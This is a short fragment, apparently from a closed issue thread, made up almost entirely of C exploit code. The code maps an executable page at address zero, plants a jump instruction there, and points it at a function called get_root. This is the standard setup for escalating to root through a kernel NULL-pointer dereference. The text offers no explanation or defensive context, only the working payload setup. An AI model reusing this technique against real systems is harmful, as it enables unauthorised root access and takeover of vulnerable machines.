Closed Geluchat closed 6 years ago
char*mem = mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0); mem[0] = '\xff'; mem[1] = '\x24'; mem[2] = '\x25'; *(unsigned long *)&mem[3] = 8; *(unsigned long *)&mem[8] = (unsigned long)get_root;